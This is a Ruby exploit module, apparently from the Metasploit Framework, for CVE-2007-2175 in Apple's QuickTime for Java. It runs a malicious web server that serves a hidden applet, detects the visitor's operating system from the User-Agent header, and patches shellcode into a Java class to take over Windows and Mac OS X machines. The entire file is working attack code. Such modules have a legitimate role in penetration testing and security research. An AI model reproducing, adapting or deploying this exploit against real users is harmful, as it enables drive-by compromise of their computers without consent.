2007-05-29 22:56:18 +00:00
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##
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2007-09-10 01:01:20 +00:00
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# $Id$
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2007-05-29 22:56:18 +00:00
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Multi::Browser::QTJavaPointer < Msf::Exploit::Remote
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#
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# This module acts as an HTTP server
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#
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include Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
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'Description' => %q{
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This module exploits an arbitrary memory access vulnerability in the
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Quicktime for Java API provided with Quicktime 7.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'hdm', # Original exploit for Mac OS X PPC / Win32
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'Kevin Finisterre <kf[at]digitalmunition.com>', # Added support for Mac OS X X86
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'Dino Dai Zovi <ddz[at]theta44.org> ' # Discovered bug, provided tips
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],
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2007-09-10 01:01:20 +00:00
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'Version' => '$Revision$',
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2007-05-29 22:56:18 +00:00
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'References' =>
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[
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['BID', '23608'],
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['CVE', '2007-2175'],
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['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'],
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => ''
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},
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'Targets' =>
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[
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#
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# Problem with generic payloads + regenerate_payload still :(
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#
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# [ 'Quicktime 7 Automatic',
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# {
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# 'Platform' => ['win', 'osx'],
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# 'Arch' => [ARCH_X86, ARCH_PPC]
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# }
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# ],
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[ 'Quicktime 7 on Windows x86',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86
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}
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],
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[ 'Quicktime 7 on Mac OS X PPC',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_PPC,
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}
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],
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[ 'Quicktime 7 on Mac OS X x86',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86,
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}
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],
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],
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# 'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 23 2007'
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))
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end
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def on_request_uri(cli, req)
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# Create a cached mapping between IP and detected target
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@targetcache ||= {}
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@targetcache[cli.peerhost] ||= {}
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@targetcache[cli.peerhost][:update] = Time.now.to_i
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if (target.name =~ /Automatic/)
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case req.headers['User-Agent']
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when /Windows/i
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print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
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@targetcache[cli.peerhost][:target] = self.targets[1]
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when /PPC Mac OS X/i
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print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
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@targetcache[cli.peerhost][:target] = self.targets[2]
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when /Intel Mac OS X/i
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print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
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@targetcache[cli.peerhost][:target] = self.targets[3]
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end
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end
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# Clean the cache
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rmq = []
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@targetcache.each_key do |addr|
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if (Time.now.to_i > @targetcache[addr][:update]+60)
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rmq.push addr
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end
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end
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rmq.each {|addr| @targetcache.delete(addr) }
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# Request processing
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if (not req.uri.match(/\.class$/i))
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# Redirect to the base directory so the applet code loads...
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if (not req.uri.match(/\/$/))
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send_redirect(cli, get_resource() + '/', '')
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return
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end
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# Display the applet loading HTML
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print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
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send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
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return
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end
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# Send the actual applet over
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print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })
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# Handle the payload
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handler(cli)
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end
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def generate_html()
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return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
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end
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def generate_applet(cli, req)
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this_target = nil
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if (target.name =~ /Automatic/)
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if (@targetcache[cli.peerhost][:target])
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this_target = @targetcache[cli.peerhost][:target]
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else
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return ''
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end
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else
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this_target = target
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end
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path = File.join(Msf::Config.install_root, "data", "exploits", "QTJavaExploit.class")
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fd = File.open(path, "rb")
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data = fd.read
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fd.close
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# 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
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idx_targ = data.index("\x03\x10\xcc\x54")
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# 1024 bytes for shellcode
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idx_code = data.index("\x03\x10\xf0\x54")
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# Handle Mac OS X PPC
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if (this_target.arch.include?(ARCH_PPC))
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tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
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data = patch_bytecode(idx_code, data, tp.encoded)
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data = patch_bytecode(idx_targ, data, "\x01")
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end
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# Handle Mac OS X x86 / Windows x86
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if (this_target.arch.include?(ARCH_X86))
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if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
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tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
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data = patch_bytecode(idx_code, data, tp.encoded)
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data = patch_bytecode(idx_targ, data, "\x03")
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end
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if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
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tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
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data = patch_bytecode(idx_code, data, tp.encoded)
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data = patch_bytecode(idx_targ, data, "\x02")
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end
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end
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return data
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end
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def patch_bytecode(off, data, buff)
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cnt = 0
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off -= 1
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while (cnt < buff.length)
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cnt += 1
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while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
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off+=1
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end
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data[off]=buff[cnt-1]
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off += 1
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end
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return data
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end
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end
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end
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